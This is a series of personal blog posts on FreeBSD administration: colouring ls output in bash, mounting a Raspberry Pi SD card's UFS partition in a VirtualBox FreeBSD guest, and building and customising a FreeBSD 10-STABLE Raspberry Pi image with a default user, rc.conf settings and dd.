cd /usr/ports/shells/bash && make install && make install clean

Next, modify your ~/.profile file and add the following lines:

DIR=Ex
SYM_LINK=Gx
SOCKET=Fx
PIPE=dx
EXE=Cx
BLOCK_SP=Dx
CHAR_SP=Dx
EXE_SUID=hb
EXE_GUID=ad
DIR_STICKY=Ex
DIR_WO_STICKY=Ex

export LSCOLORS="$DIR$SYM_LINK$SOCKET$PIPE$EXE\
$BLOCK_SP$CHAR_SP$EXE_SUID$EXE_GUID\
$DIR_STICKY$DIR_WO_STICKY"

export CLICOLOR="YES"

To load the changes without having to login again, run the following:

source ~/.profile

Now when you run ‘ls’ you should see files highlighted like in the following image:

bash colour highlighting

bash colour highlighting

ProTip: Mounting an SD card in a FreeBSD VM

Earlier today, I ran into some problems with my RPi whereby I could no longer login over SSH and I still continue to have problems when connecting a keyboard directly via USB which meant, I was effectively locked out of my system.

My options were thus:

  • Remove the SD card and mount the UFS partition in a *nix machine in order to make the necessary changes to allow me get access again.
  • Reflash the drive with my original image and start fresh.

I was hesitant to try option 2 for obvious reasons.

Instead, I opted for one. I didn’t have a *nix box at hand, but I did have my MBP. I attempted to use Fuse in order to mount the ifs partition, however I quickly ran into problems whereby it was no longer supported ion Mavericks.

Instead, I went with a VM option and successfully mounted the partition using a FreeBSD VM. The following is the steps required to do so. Note. In this case, I used VirtualBox.

Firstly, we need to make VB aware of the SD card. When i inserted the card into my MBP, it automatically mounted the boot partition (it’s FAT32) which was visible using ‘mount’ or ‘df -h’ in Terminal.app. This told me the device was associated with disk4. Using the following command, I was able to let VB become aware of the SD card:


$ VBoxManager internalcommands createawvmdk -filename ~/VirtualBox/sd_card.vmdk -rawdisk /dev/disk4

Note, disk4 must be unmounted first. You can do this either using ‘unmount’ or DiskUtility.

Next, it’s necessary to attach the raw disk to the guest VM in VB. Firstly ensure the guest VM is not powered on. Next, open the settings for the guest VM. Click on Storage and ‘Add Hard disk’ icon. At this point, select ‘Choose Existing Disk’ and navigate to sd_card.vmdk.

Note, if you get a permissions error (you may do in Mavericks), open Terminal and execute the following:


$ sudo chown user:group /dev/disk4

Where user and group relate to the UID and GID of the account you used that created the sd_card.vmdk raw disk file. Don’t forget to change it back to root:operator afterwards.

Next, boot up the guest VM and login as root. The device should be exposed to the VM as a any other block device. In FreeBSD i could run the following command to get a list of hard disks:


$ sudo dmesg |grep VBOX

From here, I was shown /dev/ada1 which contained two partitions, one of which was a FAT32 and UFS. The UFS partition for me was /dev/ada1s2.

Next, I mounted the device as such:


# mkdir -p /mnt/rpi && mount /dev/ada1s2 /mnt/rpi

At this point, I could navigate the base install and make the required changes.

At other times I received errors whereby it would not mount the partition (even when forcing with the -f flag). In these cases, you may be required to run fsck on the disk.

Update

19/06/2014 – Recently ran into problems whereby the sdcard will no longer mount as writeable using this method. Attempting to write to the partition results in a number of I/O errors. Thought this may be the write lock but appears not, or perhaps the partition was damaged. In any case, the image is booting fine and fsck checks are clean. To get around this, I ended up using a FreeBSD LiveCD and mounting the partition to make the required changes. This was done by issuing the following on the Live CD:

When inserted, my SD card was detected as /dev/mmcsd0. This SD card has two partitions:

  • /dev/mmcsd0s1 – BOOT partition (FAT32/MSDOSFS)
  • /dev/mmcsd0s2a – Base OS (UFS)
  • /dev/mmcsd0s2b – Unused space


# Check using bsdlabel if BSD recognises the FS type on /dev/mmcsd0s2:
8 partitions:
# size offset fstype [fsize bsize bps/cpg]
a: 30668649 0 4.2BSD 0 0 0
b: 30668715 0 unused 0 0 # "raw" part, don't edit
# Run fsck to ensure the partition is clean and mountable
# fsck -t ufs /dev/mmcsd0s2a
# mount /dev/mmcsd0s2a /mnt
# make required changes and unmount
# umount /mnt

Building a Custom FreeBSD RaspberryPi Image

Recently I purchased myself a new and shiny RaspberryPi for use on my home network as a dedicated play ground. Having never played with one before, I decided to try out the standard images available from the official RaspberryPi website. I tried a couple of flavours like ArchLinux and Raspbian but as a FreeBSD enthusiast, I decided to use this opportunity to see how it ran on the ARM architecture.

There are two methods of doing this; For this post, I’ll discuss the easy method. I’ll create a second post detailing how to build from source as there is a little more involved.

(1) The Easy Method

FreeBSD now produce ARM builds which are supported by a number of boards, including RaspberryPi which are available for download from their site. It’s possible to download the images, mount them and make any required changes to customise it to your liking before writing it to your SD card and booting on your RPi. Handy out!

(2) Build a custom version from source

This is a little more advanced, but allows for greater flexibility. This method allows you produce your own image using a custom kernel.

The Easy Method

Firstly, navigate to FreeBSD’s site, and download a copy of the latest build. At the time of writing, FreeBSD produce an image for 10-STABLE and 11-CURRENT. I went with 10-STABLE in the end as I had problems booting 11-CURRENT. Next, I’d detail how to mount the image and make some basic changes such as enabling SSH, DHCP etc and creating a standard user account for remote access, along with some basic config tips.

At home, I tend to use a Macbook Pro. For this, I downloaded FreeBSD (x86) ISO and installed it into a VM (VirtualBox). I did this mainly for two reasons; 1 to utilise FreeBSD tools to make the changes required and 2, so I could attempt to build from source using the FreeBSD ARM tool-chain. After you have FreeBSD set up in VirtualBox, proceed with the following steps:

1. Download the RPi image

I ended up going with 10-STABLE for this and it seems to be working out pretty well thus far. Firstly, navigate to the FreeBSD RPI public FTP drop site and download the latest image.


[alan@virtualbox ~]$ wget ftp://ftp.freebsd.org/pub/FreeBSD/snapshots/arm/armv6/ISO-IMAGES/10.0/FreeBSD-10.0-STABLE-arm-armv6-RPI-B-20140608-r267232.img.bz2
--2014-06-18 10:09:17-- ftp://ftp.freebsd.org/pub/FreeBSD/snapshots/arm/armv6/ISO-IMAGES/10.0/FreeBSD-10.0-STABLE-arm-armv6-RPI-B-20140608-r267232.img.bz2
=> 'FreeBSD-10.0-STABLE-arm-armv6-RPI-B-20140608-r267232.img.bz2'
Resolving ftp.freebsd.org (ftp.freebsd.org)... 193.162.146.4, 2001:6c8:130:800::4
Connecting to ftp.freebsd.org (ftp.freebsd.org)|193.162.146.4|:21... connected.
Logging in as anonymous ... Logged in!
==> SYST ... done. ==> PWD ... done.
==> TYPE I ... done. ==> CWD (1) /pub/FreeBSD/snapshots/arm/armv6/ISO-IMAGES/10.0 ... done.
==> SIZE FreeBSD-10.0-STABLE-arm-armv6-RPI-B-20140608-r267232.img.bz2 ... 129022750
==> PASV ... done. ==> RETR FreeBSD-10.0-STABLE-arm-armv6-RPI-B-20140608-r267232.img.bz2 ... done.
Length: 129022750 (123M) (unauthoritative)

100%[===========================================================================================================================================================================================>] 129,022,750 386KB/s in 5m 49s

2014-06-18 10:15:07 (361 KB/s) – ‘FreeBSD-10.0-STABLE-arm-armv6-RPI-B-20140608-r267232.img.bz2’ saved [129022750]

[alan@virtualbox ~]$ md5 FreeBSD-10.0-STABLE-arm-armv6-RPI-B-20140608-r267232.img.bz2
MD5 (FreeBSD-10.0-STABLE-arm-armv6-RPI-B-20140608-r267232.img.bz2) = 996fa40f1331297f36e0a94cecb7a7a6
[alan@virtualbox ~]$ bunzip2 -d FreeBSD-10.0-STABLE-arm-armv6-RPI-B-20140608-r267232.img.bz2
[alan@virtualbox ~]$ ls -al FreeBSD-10.0-STABLE-arm-armv6-RPI-B-20140608-r267232.img
-rw-r–r– 1 alan alan 1000000000 Jun 18 10:15 FreeBSD-10.0-STABLE-arm-armv6-RPI-B-20140608-r267232.img
[alan@virtualbox ~]$

2. Mount the image

Next, we’ll mount the image. There are two partitions within this image. The boot partition which contains the uboot binary and configuration (FAT32 partition) and the system base (UFS partition). We’ll only need to mount the systme base to make our own changes. In order to do this, perform the following:


[alan@virtualbox ~]$ mv FreeBSD-10.0-STABLE-arm-armv6-RPI-B-20140608-r267232.img rpi.img
[alan@virtualbox ~]$ su
Password:
root@virtualbox:/home/alan # mkdir -p /mnt/rpi
root@virtualbox:/home/alan # mdconfig -a -f rpi.img
md3
root@virtualbox:/home/alan # mount /dev/md3s2 /mnt/rpi
root@virtualbox:/home/alan # ls -al /mnt/rpi
total 4216
drwxr-xr-x 18 root wheel 1024 Jun 9 10:27 .
drwxr-xr-x 3 root wheel 512 Jun 18 10:29 ..
-rw-r--r-- 2 root wheel 964 Jun 9 10:50 .cshrc
-rw-r--r-- 2 root wheel 252 Jun 9 10:50 .profile
drwxrwxr-x 2 root operator 512 Jun 9 10:49 .snap
-r-------- 1 root wheel 4194304 Jun 9 10:49 .sujournal
-r--r--r-- 1 root wheel 6196 Jun 9 10:50 COPYRIGHT
drwxr-xr-x 2 root wheel 1024 Jun 9 10:49 bin
drwxr-xr-x 8 root wheel 1024 Jun 9 10:50 boot
dr-xr-xr-x 2 root wheel 512 Jun 9 10:49 dev
drwxr-xr-x 22 root wheel 2048 Jun 9 10:50 etc
drwxr-xr-x 3 root wheel 1536 Jun 9 10:50 lib
drwxr-xr-x 3 root wheel 512 Jun 9 10:49 libexec
drwxr-xr-x 2 root wheel 512 Jun 9 10:49 media
drwxr-xr-x 2 root wheel 512 Jun 9 10:49 mnt
dr-xr-xr-x 2 root wheel 512 Jun 9 10:49 proc
drwxr-xr-x 2 root wheel 2560 Jun 9 10:49 rescue
drwxr-xr-x 2 root wheel 512 Jun 9 10:50 root
drwxr-xr-x 2 root wheel 2560 Jun 9 10:50 sbin
lrwxr-xr-x 1 root wheel 11 Jun 9 10:50 sys -> usr/src/sys
drwxrwxrwt 2 root wheel 512 Jun 9 10:49 tmp
drwxr-xr-x 14 root wheel 512 Jun 9 10:49 usr
drwxr-xr-x 24 root wheel 512 Jun 9 10:49 var
root@virtualbox:/home/alan #

3. Create standard user – pi

Next, we’ll create a standard user called ‘pi’ using the password ‘raspberry’. This will enable you to login remotely over SSH after you boot the image. We’ll also add this user to the group wheel so you can su to root. By default, the password for root is blank.


root@virtualbox:/home/alan # echo raspberry | pw -V /mnt/rpi/etc/ useradd -h 0 0n pi -C "Raspberry Pi User" -s /bin/csh -m
pw: user name or id required
root@virtualbox:/home/alan # echo raspberry | pw -V /mnt/rpi/etc/ useradd -h 0 -n pi -C "Raspberry Pi User" -s /bin/csh -m
root@virtualbox:/home/alan # pw -V /mnt/rpi/etc/ groupmod wheel -m pi

Next, we’ll get the UID and GID of the user pi:


root@virtualbox:/home/alan # pw -V /mnt/rpi/etc usershow pi | cut -f 3 -d :
1001
root@virtualbox:/home/alan # pw -V /mnt/rpi/etc usershow pi | cut -f 4 -d :
1001

And finally, we’ll create the home directory:


root@virtualbox:/home/alan # mkdir -p /mnt/rpi/home/pi
root@virtualbox:/home/alan # chown 1001:1001 /mnt/rpi/home/pi
root@virtualbox:/home/alan #

4. Modify start up services

In FreeBSD, you can control what services are launched during bootup by modifying /etc/rc.conf. We’ll want to make some basic additions to ensure we can access the pi after it boots. In our case, we’ll be settings the hostname, configuring the network interface, enabling DHCP and SSH, and devd. devd(8) is not strictly necessary, but it allows for userland programs to run when certain kernel events happen, such as plugging in a usb keyboard or mouse. We’ll also be disabling some other services like sendmail etc. Also, I’m adding autosize_enable=”YES” here. This allows the system to resize the UFS partition to make full use of your SD card on the first boot. This is also not strictly necessary as you can do this at a later time using gpart yourself. (See /etc/rc.d/autosize for the commands to use).

Copy the following to /mnt/rpi/etc/rc.conf:


hostname="raspberry-pi"
ifconfig_ue0="DHCP"
sshd_enable="YES"
cron_enable="NO"
devd_enable="YES"
syslogd_enable="YES"
sendmail_submit_enable="NO"
sendmail_outbound_enable="NO"
sendmail_msp_queue_enable="NO"
autosize_enable="YES"

5. Unmount the partition

At this point we’re done. There are some additional tweaks you can make such as enabling soft updates and modifying the number of available ttys but this is not necessary in order to get the image booted. If people like, I can include the options for these. For now, lets unmount the image.


root@virtualbox:/home/alan # umount /mnt/rpi
root@virtualbox:/home/alan # mdconfig -d -u md3

6. Write the image to your SD card

For this, I merely transferred the image to my Macbook and used DD to write it to my SD card. When you firstly insert the disk into the SD card reader, OSX will automatically attempt to mount any partitions it recognises. In our case, it mounts the FAT32 partition. To ensure a write is successful, you’ll need to unmount this. You can either do this in Terminal.app or use DiskUtility to unmount the drive without ejecting it. To write the image to the SD card, perform the following:


osx# dd if=/Users/alan/rpi.img of=/dev/disk4 bs=1m

This will take a few minutes to successfully write. Once complete, eject the SD card and insert it into your RPi and boot. Ensue you have HDMI connected to see any error messages which may be displayed during the boot up process.

Some Words

    1. I initially had some problems when I first booted whereby i received errors attempting to mount the boot drive – error 19. I cycled the power a couple of times, and booting was successful.
    2. Once it booted, I got the debug message alerting me that the disk had been resized and I needed to commit the changes using gpart. Unfortunately, when i plugged in my keyboard, it was unable to detect it correctly and after several tries, ignored it. I’m unsure if this is something to do with my USB keyboard or perhaps support for the usbhub wasn’t great. I haven’t investigated further hence the option to SSH.
    3. On third reboot, everything worked as normal. I could see the Ethernet link go to UP state and I was prompted to login. At this point, I navigated on my Macbook to my routers web UI and obtained the IP for the DHCP lease. I quickly made a static entry based on the MAC to ensure it always received the same IP using DHCP. At this point, I was able to login over SSH using the username ‘pi’ and password ‘raspberry’
    4. After login was successful, I quickly created a new user account and added it to the group wheel. I also locked out the pi account using ‘pw lock pi’.
    5. At this point, you’ll need a package manager to install applications. There are two options here. (1) Use the ports collection – this allows you to build applications from source. (2) you can use pkgng in order to install pre-built binary images. Unfortunately for us, there is no official ARM packages built for FreeBSD. There are some unofficial ones out there but most of the ones I came across are not maintained and have pretty old packages. Instead, I opted to go down the ports route (which is slow as you’ll have to compile everything) but acceptable for a playbox. You can perform (as root) ‘portsnap fetch && portsnap extract’ in order to download and extract the latest ports collection. This will take HOURS. I ran out of patience and instead downloaded the ports package directly to the RPi and extracted it. You can also shutdown, remove the SD card and merely extract the entire ports collection directly onto the SD card using another machine. This is probably the fastest option as it took me a couple of hours to extract the ports collection correctly.
    6. To keep ports updated, I went the subversion route instead of using portsnap. In this case, you can merely run ‘svn checkout https://svn0.us-east.FreeBSD.org/ports/head /usr/ports’. I added this line to a cronjob to run once a week around 3am. Obviously, selecting a mirror close to you is best. Details for this are covered in the FreeBSD Handbook.

Downloads

I’ve uploaded the image I made in this post for download to save you the hassle from above if you’re looking for just a standard stock image to boot from. You can grab it from my Redbrick Account.

DB ‘HELLO WORLD$’, 0

I’ve decided to start up a blog to keep track of some of the malware I analyse in my personal time. I’m hoping it’ll become a half decent resource for malware analysis and hopefully prove to be an interesting side project.